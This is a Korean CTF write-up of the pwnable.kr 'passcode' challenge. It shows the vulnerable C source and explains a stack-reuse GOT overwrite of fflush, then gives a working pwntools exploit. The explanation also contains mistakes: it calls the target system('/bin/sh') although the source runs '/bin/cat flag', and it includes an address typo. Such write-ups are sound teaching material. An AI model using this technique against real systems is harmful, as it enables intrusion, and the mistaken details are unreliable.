시스템해킹

pwnable.kr passcode write up

세종대학교 S.S.G / WHS 2기 2023. 11. 30. 15:52

passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 

개요

해당 passcode의 코드를 보면 scanf 함수를 사용중이다. 처음에는 이 함수에서 BOF 버그가 발생하는줄 알았다.

하지만 해당 scanf는 100자리만 받고 있음을 gdb를 통해 확인할 수 있었다.

 

그러던 중 login 함수에서 passcode1과 passcode2의 인자로 &passcode1 &passcode2가 아닌 그냥 passcode1을 받고 있었다. 이는 해당 passcode1이 위치하는 자리의 쓰래기 값이 가르키는 위치에 값을 적는다는 의미가 된다.

 

또한 main함수에서 welcome함수 실행을 하고 그 이후에 다시 login 함수를 실행하기 때문에 welcome 함수의 스택 영역이 사용됐던 위치에 login함수의 스택영역이 다시 할당되게 된다. 그렇다면 welcome의 name을 잘 이용해서 passcode1인자가 가르키는 영역을 잘 조정하면 익스가 된다는 막연한 생각을 해보았다

 

 

 

전략

1. passcode1과 passcode2의 위치에 실제 passcode1의 주소와 passcode2가 있어야 하는 주소를 적어주고, scanf로 문제에서 원하는 338150과 13371337 이라는 값을 넣기

name[100]의 시작 주소인 0xff8f6808이다.

 

ebp - 0x10 을 passcode1 자리에 할당하게 된다.

따라서 0xff8f6854위치에는 ebp-10의 위치인 0xff8f6868 위치에 있는 값을 할당하게 되고 해당 값이 aaaa이다.

 

 

 

하지만 passcode2는 ebp-0xc 위치에 있는 값을 해당 위치에 할당하게 된다.

 

해당 위치에는 기존의 name 변수 안에 있는 값이 아닌 값이기 때문에 name으로 passcode2의 값을 조정할 순 없다.

 

따라서 1번 방법은 실패다.

 

 

 

2. name변수의 97~100 바이트 값이 passcode1 값에 들어가는 점을 이용해서 passcode1의 값을 원하는 주소로 변경하고, &passcode1이 아니라는 허점으로 변경한 주소에 원하는 값을 대입하여 실행.

위 내용을 해석하자면 현재 passcode1은 주소 연산자를 사용하고 있지 않기에 해당 변수가 가진 값을 주소값으로 해석하고 해당 위치에 scanf 하게 된다. 따라서 passcode1 변수 값을 원하는 값으로 넣으면 이후 scanf가 실행될때 원하는 주소에 원하는 값을 대입할 수 있게 된다. 

 

그렇다면 passcode2를 실행하기 전 실행되는 함수인 fflush 함수의 got 값을 

 

해당 0x80485e3 위치로 got를 덮어 씌우면 결국 fflush가 실행될 때 0x90485e3 부터 실행이 될 것이다. 그러면 0x80487af에는 "/bin/sh" 이라는 문자열이 있고, 이후 system("/bin/sh") 을 실행하는 흐름으로 변경되는 것이다.

 

익스플로잇

from pwn import *
 

s = ssh(host='pwnable.kr', port=2222, user='passcode', password='guest')

p = s.process('./passcode')


print(p.recv(1024))

payload = b"A"*96

payload += p32(0x804a004)

p.sendline(payload)

p.sendline("134514147")

p.interactive()



p.close()
s.close()

 

 

 

fflush의 got 주소는 0x804a004이다.

 

익스플로잇 코드를 보면 먼저 96바이트만큼 작성하고, passcode1에 위치할 값인 fflush의 got값을 넣어준다. 

 

이후 scanf(passcode1)의 입력에 0x80485e3(system("/bin/sh")) 을 입력하면 /bin/sh이 실행될 것이다.

 

 

 

login+34 에서 fflush@got 인 0x804a004 위치에 값을 입력하게 되있다. 위에서 한것처럼 system함수의 주소를 넣으면

 

 

원래는 이렇게 설정되어 있어야 할 got가

0x80485e3으로 변경되어 있는것을 볼 수 있다. 

 

이후 fflush 함수가 실행될 때 

fflush에서 login으로 흐름이 변경되게 되고 system("/bin/sh") 을 실행하게 되는 것이다